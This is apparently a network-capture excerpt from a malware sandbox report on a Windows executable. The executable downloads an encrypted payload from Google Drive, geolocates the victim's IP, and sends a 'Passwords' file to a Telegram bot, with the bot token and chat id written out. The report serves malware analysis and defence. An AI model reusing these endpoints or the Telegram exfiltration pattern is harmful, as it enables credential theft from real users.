Jan 10, 2025 23:12:57.696752071 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49972	216.58.206.46	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:11:47 UTC	216	OUT	GET /uc?export=download&id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 22:11:47 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 22:11:47 GMT Location: https://drive.usercontent.google.com/download?id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-bW4cjSzBl_2Dw4CZ1jvetQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49974	142.250.181.225	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:11:48 UTC	258	OUT	GET /download?id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 22:11:51 UTC	4944	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgS7Lai0fr4L14Qax-dP0nWxek8Qf3M68IRhtebFwxmskJO3z34P0P_nWlUrXNDLREjf Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="sMscBVXhTocIfuwGoZBYD188.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Tue, 10 Dec 2024 07:32:04 GMT Date: Fri, 10 Jan 2025 22:11:50 GMT Expires: Fri, 10 Jan 2025 22:11:50 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=pYC8Dw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 22:11:51 UTC	4944	IN	Data Raw: 55 d3 96 21 a5 e2 1b 76 17 03 6f 65 13 45 3b 84 96 c4 37 b2 3d bc c4 3b b4 1c 8c 3f 64 b3 2e 2f 2a 9d ef 45 95 40 60 3d 3f 7a db d5 ff d0 46 2b 54 2d ed 7c ef a3 dd 81 10 1f bd 28 44 43 89 1b 25 be a8 cb 62 07 ec d1 6d 25 a6 31 05 12 53 e3 0d 94 ab da af a0 be 45 e3 0a da c0 77 3f 68 f0 ff 80 ac 84 69 8d b4 b9 0d 14 2a 4a 64 61 58 77 74 c0 b6 a7 0d 8c 81 5f 01 3d e9 b6 49 c5 6f ca 26 46 08 d4 08 50 a2 54 b0 af 6e 0b c8 30 69 dc 36 a7 92 51 43 51 c3 84 7f e0 49 25 9a 6a 89 16 07 ae c9 8b 32 6e 60 f9 ec 83 8a 2e 55 70 c8 d1 36 c4 c8 fc 81 aa 3c 0c b0 b0 71 34 c9 1c fc c9 94 41 7a 5d 5d 3c 4f 05 b7 88 1b 84 f4 28 ad 86 e3 89 03 65 e8 2e 2d bc 20 17 0a d2 bf c3 67 d1 25 a3 c9 e4 51 dc 65 b1 c9 3c 8a 30 3f c8 33 62 ac 11 fa 44 a9 dc bc 61 ca 37 0f 57 9c 93 ad Data Ascii: U!voeE;7=;?d./E@`=?zF+T-\|(DC%bm%1SEw?hiJdaXwt_=Io&FPTn0i6QCQI%j2n`.Up6<q4Az]]<O(e.- g%Qe<0?3bDa7W
2025-01-10 22:11:51 UTC	4810	IN	Data Raw: 17 8b b2 1d b9 a1 f8 16 99 e0 c7 bf 98 99 d5 21 10 11 52 1e ed 35 b0 b2 a2 df 97 17 7c 19 63 fe 95 fb d7 67 e5 a4 80 0b 63 7f d0 8f c4 68 f2 80 f2 61 93 38 24 2b 08 49 dd b3 6d 90 79 69 a9 27 02 c1 9e a7 f9 58 33 b5 a6 a5 8d e5 d3 44 dd 11 25 2a c2 f2 92 86 5d 2e 22 3b 64 2e 4c da 8b d3 4e 61 6e 39 b4 aa 3e 5d 3d 4c b9 1f 3c 49 cd 08 e7 0d 1e e1 42 af 6b 5f ad 18 42 d9 e2 2a c3 99 af 96 4d 94 22 dc 8b 74 be 29 72 99 5c 51 2a a9 a6 31 60 2a 65 03 72 84 7e 1d 2f c0 9a 0c 0d 46 53 9b 5d 01 89 0d 6b c4 9e 3c e9 54 9d d9 b4 17 b0 76 95 48 c5 b2 b0 79 aa cb 00 10 92 fb fa a0 ca 37 b6 2b 92 9f 2b af d4 60 59 91 ba 06 76 7a 5c 06 4d 08 4a da 4c e7 94 74 03 23 ee 3d 96 53 b6 78 75 5f ba 0b a9 43 bd 0d 92 7d 11 94 fc 0d 66 3e 1f 00 13 ab ce 33 17 1d 36 e2 21 f6 71 Data Ascii: !R5\|cgcha8$+Imyi'X3D%].";d.LNan9>]=L<IBk_BM"t)r\Q1`er~/FS]k<TvHy7++`Yvz\MJLt#=Sxu_C}f>36!q
2025-01-10 22:11:51 UTC	1322	IN	Data Raw: f4 32 aa 1e 22 8c 4e d6 1a 77 d6 3f a1 3d ed 9c f1 4d 39 fc 0f 6e 7f 15 6e 74 11 ba 2f 71 b1 f7 c3 a6 2c cd 30 26 7e ee a9 d0 60 32 ed a0 f0 ba 51 51 8d 9e 0d 8b 91 31 c6 f9 37 7b c5 f1 12 b4 da 49 a6 00 58 60 42 53 58 83 1f 18 ea eb 98 47 f6 bf bf a2 55 bb 58 72 67 30 5d f5 c4 22 c7 17 e8 45 12 b2 37 a8 d5 8f f0 f6 e3 df 3e 49 29 f4 d5 8e f0 b8 8d 3e a9 78 4e 3a 6c 40 f1 6c fd 9f 40 8d c0 94 e9 e9 11 b9 46 b6 71 04 7a b8 59 d6 e9 78 81 80 d8 94 5c 44 25 55 d0 2f 32 3e 51 07 08 24 57 d0 9a c8 d0 d2 b6 4b 7d 6a 15 3b b7 9e 4d 2d 20 6f e8 d3 e6 40 08 a3 59 1e bf 0d 37 28 dc 39 e3 eb b1 60 e7 4a 22 99 36 24 61 50 05 3d 61 23 19 62 a2 cc e6 a2 7f cd 4d 86 25 8a 4e be bb af 3b 6a c7 d3 5a 5c 09 87 27 20 f0 1c 06 67 29 22 b7 bf ad 32 aa c8 56 b1 1b 0f ae 17 70 Data Ascii: 2"Nw?=M9nnt/q,0&~`2QQ17{IX`BSXGUXrg0]"E7>I)>xN:l@l@FqzYx\D%U/2>Q$WK}j;M- o@Y7(9`J"6$aP=a#bM%N;jZ\' g)"2Vp
2025-01-10 22:11:51 UTC	1390	IN	Data Raw: 75 84 1f f9 22 e7 18 f8 3e 4c 72 d5 1b 97 42 6f 64 3f 02 e6 cd 8d d9 89 84 23 c3 89 7f 08 3b 3c fc 0a b8 51 07 74 1e 92 e5 82 5a fb 30 75 5e 2a 76 08 63 79 0f 2b 18 07 d5 b3 8c 82 b5 28 b7 17 f4 7e ea b2 d4 4a 79 63 c9 87 77 5e 51 89 98 0f e2 de 19 1b fd 1f a0 d6 f4 09 cc bb d8 78 0b 4a 62 96 45 54 83 0c 33 87 ea 02 47 fc bf 47 a2 7e a8 58 70 36 77 4d f5 c0 5e 94 0a e8 35 ad e6 38 a8 df 85 f6 fe d7 c4 3a 2f 27 f6 ae e4 f0 b8 98 16 09 a1 4e 30 66 4b eb e3 b9 d5 40 8c e1 fc c8 23 04 b3 1e 40 54 13 02 55 4b c5 9c cb a1 b4 a7 94 31 0e 55 f7 f1 1e 93 20 47 0d 78 86 5b c6 f2 84 ca 5f 23 35 2e 6b 30 27 e1 14 4d 2d 20 11 da d6 e0 21 61 50 54 1c ce e7 12 3f a6 cf 30 eb bb 18 0a 5c 22 eb 22 b7 61 50 0b e1 17 3b 67 b6 8a 98 ec d0 91 d7 44 e5 4d 44 49 92 bc 0f 65 3f Data Ascii: u">LrBod?#;<QtZ0u^*vcy+(~Jycw^QxJbET3GG~Xp6wM^58:/'N0fK@#@TUK1U Gx[_#5.k0'M- !aPT?0\""aP;gDMDIe?
2025-01-10 22:11:51 UTC	1390	IN	Data Raw: ea b4 16 30 73 f6 1c 66 6c 10 61 37 b2 b8 2f 75 a2 80 99 ab b6 da 16 e5 70 9d 4d d0 62 3d 70 c6 9c f9 40 5f fb cc 15 f0 ac 5e 2d fd 1f a0 d2 27 77 26 96 49 ac 17 48 71 66 21 0c 99 0c 58 c0 a5 02 47 fc ac 8a b3 44 b3 2b 80 1c 76 57 e6 d2 4d 86 78 19 4f 3a ec 80 bb cc 94 e5 f2 3d d9 ec e8 7d f6 ae c9 e3 ac 9f 05 6f 0a ac 35 6c 30 e2 78 97 c7 51 99 d2 fb a9 86 e3 b3 6e e8 57 15 64 a5 cf e5 3c 69 84 ac 2b 97 34 19 34 42 c7 1e f0 27 7d 0b 1e 37 4f d2 ca 85 d0 c5 a1 2d 2e 7b 06 26 45 d9 57 3b 39 78 d8 f6 e2 51 0e 9e 40 0d df d4 28 08 e9 06 21 ff a0 71 76 55 5d b4 43 79 75 41 1a d2 2d 1e e7 69 9c 66 e7 89 74 d6 57 89 33 87 5a 8f a7 b0 79 df c6 d3 5e 65 cc 94 39 3b e4 0d 1d dc 01 e6 ac 8f ad 21 9f d8 48 a3 21 27 6b 06 70 aa ca 05 36 15 cb 9d 80 2f a3 d2 2f 02 b8 Data Ascii: 0sfla7/upMb=p@_^-'w&IHqf!XGD+vWMxO:=}o5l0xQnWd<i+44B'}7O-.{&EW;9xQ@(!qvU]CyuA-iftW3Zy^e9;!H!'kp6//
2025-01-10 22:11:51 UTC	1390	IN	Data Raw: 27 38 fc 14 ad e9 f5 0f c3 bd 4c a6 12 52 4b 68 55 72 83 0c 33 d8 ed 02 55 f7 bf 9b 93 55 aa 49 70 1e 04 95 ee c0 2c bc 59 e8 4f 30 ed 21 25 86 85 f6 e4 eb c9 12 9d 24 f6 a4 de 0e b9 84 1f 69 7d 5f 35 40 49 e5 7d 82 d5 78 50 c4 ea ba e9 63 51 75 e2 01 1a 03 4a 5e c5 e6 6e ac 56 d5 96 2d 26 de 55 d4 0d f2 38 40 0b 67 d8 57 d2 eb 93 d8 f9 f1 24 26 05 6b 31 9f c0 65 17 2a 63 ea d3 e9 40 07 fb c9 1c c4 44 24 22 c9 1b 5f 16 b1 6a ed 59 29 8a 46 7b 6d 41 0d 6f 2b 32 13 07 74 98 e6 a8 62 af bb 95 22 91 26 92 b7 ad 4a 0e ad d3 5e 7e d6 87 27 2a e1 14 69 cd 29 22 a6 9c aa 23 8d e4 e6 6f 29 1e a6 73 61 a0 e2 4a 1a 18 d0 86 e3 4c 41 d7 2e 1d aa e8 17 f6 25 8f 19 b2 5c e5 c7 d3 6d 2a dd 5b fd ad a6 7d 2a c5 6c 96 da 58 c5 7b 6f cb 3b 18 a8 4f f0 7b 0f b4 7f ab 9c 1c Data Ascii: '8LRKhUr3UUIp,YO0!%$i}_5@I}xPcQuJ^nV-&U8@gW$&k1ec@D$"_jY)F{mAo+2tb"&J^~'i)"#o)saJLA.%\m[}lX{o;O{
2025-01-10 22:11:51 UTC	1390	IN	Data Raw: e8 4f 2a e6 37 a8 9b 85 f6 e4 fc fe 3e 65 58 f7 ae c8 c3 b8 89 07 7a 67 52 18 b4 40 f1 64 f4 f5 5d 8d b4 c2 f4 e9 11 b9 64 e2 77 2c 88 b3 5e cf e7 6e bd ea d4 96 27 08 56 82 d4 07 e7 32 59 7f 52 38 57 a2 8e 52 d0 d2 b4 13 26 05 c6 31 9f cc 5a f7 39 65 f6 d3 e7 69 19 8e 54 1c cc 54 30 5a b0 0d 30 9b de bf e7 4a 24 96 45 79 66 22 7f 5f 32 53 76 bd 8a 98 e0 b1 71 c8 55 92 50 07 55 92 c6 c2 95 26 c7 d5 4d 71 cb 82 0f b9 f0 1c 00 5e 21 33 a4 a3 e4 34 a8 ca 57 b1 34 60 aa 07 70 aa 8d 4e 37 15 cb a6 02 5d 41 d1 3c 7b ba e1 03 02 24 40 1b 2d 3f e8 e3 c5 a4 36 1a dd 88 bb 8e d6 39 c2 6e 9c ce 30 8c 73 e1 a8 31 cb a8 bc f0 7b 03 a7 7a ba 9b 08 a2 aa cb 75 15 a3 9d 55 38 0e 9d 1b 19 32 77 08 b8 df 9d af dc b2 0d bd 72 a7 56 5a 6a fd 1b 13 cd 20 99 31 c5 3b 74 70 dd Data Ascii: O*7>eXzgR@d]dw,^n'V2YR8WR&1Z9eiTT0Z0J$Eyf"_2SvqUPU&Mq^!34W4`pN7]A<{$@-?69n0s1{zuU82wrVZj 1;tp
2025-01-10 22:11:51 UTC	1390	IN	Data Raw: 37 71 04 76 a0 5b d4 e9 41 17 ac d5 90 34 06 34 5d f8 44 e7 16 52 0c 08 2e 38 d6 e0 80 da bd b7 34 2e 60 3d a5 9f ca 4b 3e 23 72 e9 d4 1e 50 1d 85 45 16 d2 bb 36 3b d3 00 3b c7 a7 42 4d 4a 22 91 5c 6d 0e 0f 01 43 38 32 10 40 1f 98 e6 a4 66 c5 44 95 22 b0 69 92 9e 07 40 26 cd db 4f 73 a8 1b 3b 2a 80 73 d3 4d 29 24 c3 d0 a7 32 8a e1 ea b1 3e 09 bd 03 70 b1 e6 39 d4 10 c1 fe 80 75 c0 d7 2f 78 bd 16 14 ed 20 21 f3 39 35 8e 0b ec 36 3d 0b dc b2 53 a5 23 2a ce 75 81 e7 12 ce fe de a2 20 c3 a5 3f 82 9d 11 b4 0f 18 be 1f 80 28 ee 45 cd 8f 88 5f 40 bd bf 70 94 2a d5 5d cd 78 db ba da ad f0 98 69 bc 7b 44 4f e1 6f 2e e8 20 f8 97 9f 79 71 70 a7 52 73 ee ed a3 4a a7 3b 3c a2 62 04 77 bb 13 4a 0a c7 a5 9e fa 0c 43 88 3c da cd e2 43 d8 0b 9e 36 81 a0 96 fd 3e 4f c4 7b Data Ascii: 7qv[A44]DR.84.`=K>#rPE6;;BMJ"\mC82@fD"i@&Os;sM)$2>p9u/x !956=S#u ?(E_@p*]xi{DOo. yqpRsJ;<bwJC<C6>O{
2025-01-10 22:11:51 UTC	1390	IN	Data Raw: 02 e2 e0 c0 ea 47 f0 8c 45 19 b6 a7 32 28 a8 07 18 6a b1 6a ed 5c dc 98 12 7b 6d 41 0d 6f 7f 3e 94 57 8a 98 e7 87 63 b2 a2 81 22 eb eb b7 a1 a4 e2 03 df a1 72 61 da f7 85 0f e9 0d 02 ef 0c 38 de c9 b2 32 f0 6b 73 aa 2f 0a 0c 23 6c d2 29 69 36 65 63 a6 36 5d 41 dd 3c 7f d5 e7 17 fc 21 42 1c 14 7b fe 1d ce 37 32 0b d6 a0 ad a6 6d 3e d5 b2 9e cc 4e d4 62 e7 9c c0 3c 7f d6 f0 7b db a4 5a 92 a8 08 89 80 d8 53 bf 8b cf 5f 30 15 44 69 85 04 36 64 d7 0a 9d af da dd 41 bd 72 ad 29 e7 6a fd 77 01 c8 20 98 35 b7 d9 35 70 ad 40 65 a0 e6 a3 36 a2 2a 31 b9 2c 04 66 b1 8c 59 22 1f a1 9e f0 6f 77 bc ea b9 e2 bd 44 c9 07 aa d6 79 77 91 fd 3e 9b df 59 32 56 7b 93 a6 39 21 0f 8b 91 a4 e2 69 63 39 68 65 09 e2 20 89 7f 72 ff 23 3c 38 ae 57 76 58 a1 dc 92 f7 b8 f6 42 4c b1 43 Data Ascii: GE2(jj\{mAo>Wc"ra82ks/#l)i6ec6]A<!B{72m>Nb<{ZS_0Di6dAr)jw 55p@e6*1,fY"owDyw>Y2V{9!ic9he r#<8WvXBLC
2025-01-10 22:11:51 UTC	1390	IN	Data Raw: a6 22 9b 43 81 b8 ad 68 74 c7 d3 54 aa da 87 0d 6b ec 1c 06 4d 29 22 ac 9c a7 32 80 9e 57 b1 3e 65 af 06 70 b0 e2 4b 36 51 c1 8e 97 46 71 d3 2f 0e aa e8 17 cf 25 53 00 3c 2a e2 35 1c b7 3d 01 a4 3d 88 a6 0c 11 8c 64 8d c1 55 d3 75 c9 5a 20 c2 8a 22 f7 42 43 b5 7f ba 9d 7b 5e 8a cb 5b b3 ab ef 05 2c 1f ea 06 57 2e 77 7e f1 02 f2 7c da dd 54 aa a8 be 78 f0 79 fa 25 17 c9 20 88 3d a6 de 03 18 b1 41 0e ff 37 a3 4a a5 27 39 9b 2b 76 09 ad 93 35 65 12 a1 9e fc 0e 40 97 fb ce b8 6f 58 c9 7d cf 03 7f 5f 6f ee 3b 80 d1 76 98 10 7a 95 b5 37 43 d0 a7 d2 a4 c6 62 10 63 7e 0a 7d 8c f2 83 10 71 d8 2b 59 c3 3a 57 70 49 68 c6 85 e8 bf 0f 7b 48 ba 52 85 03 e7 94 06 21 3f 28 1f fe 7e ef 37 f4 2f 9f d0 34 8d 03 2d d7 08 1a c0 05 0c 4d 93 51 b0 dc e6 88 a9 59 85 00 a4 0f be Data Ascii: "ChtTkM)"2W>epK6QFq/%S<*5==dUuZ "BC{^[,W.w~\|Txy% =A7J'9+v5e@oX}_o;vz7Cbc~}q+Y:WpIh{HR!?(~7/4-MQY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49976	104.21.96.1	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:11:53 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 22:11:53 UTC	857	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:11:53 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1861902 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FTim8cgfDpt%2FuKJuoSOvPX9MULVbcez9KBFB3JBmVNvnWVyUyHPLdZ%2BQd104wcy0kYQjQ5fOxdO%2BUk7Vzjm0Jf2yN9nwNdsk6izokT8zQ66c9NFYGOmPV6zdP9EGE8%2BmRiqriqPh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900001645e3b4363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1583&rtt_var=608&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1779402&cwnd=240&unsent_bytes=0&cid=996d0e15d4cc6d30&ts=168&x=0"
2025-01-10 22:11:53 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49977	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:00 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3199e441f6db Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:00 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 39 39 65 34 34 31 66 36 64 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3199e441f6dbContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:00 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:00 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 32 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44785,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547120,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49979	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:01 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31b0368823d7 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:01 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 30 33 36 38 38 32 33 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 